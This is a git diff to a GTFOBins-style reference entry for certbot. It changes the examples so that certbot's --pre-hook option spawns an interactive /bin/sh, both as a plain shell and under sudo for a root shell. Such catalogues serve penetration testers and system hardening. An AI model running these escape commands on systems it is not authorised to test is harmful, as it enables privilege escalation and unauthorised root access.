diff --git a/_gtfobins/certbot.md b/_gtfobins/certbot.md index 3da704a..86b9469 100644 --- a/_gtfobins/certbot.md +++ b/_gtfobins/certbot.md @@ -1,9 +1,11 @@ --- functions: - sudo: - - description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output. - code: | - COMMAND='id' + shell: + - code: | TF=$(mktemp -d) - sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND" + certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0' + sudo: + - code: | + TF=$(mktemp -d) + sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0' ---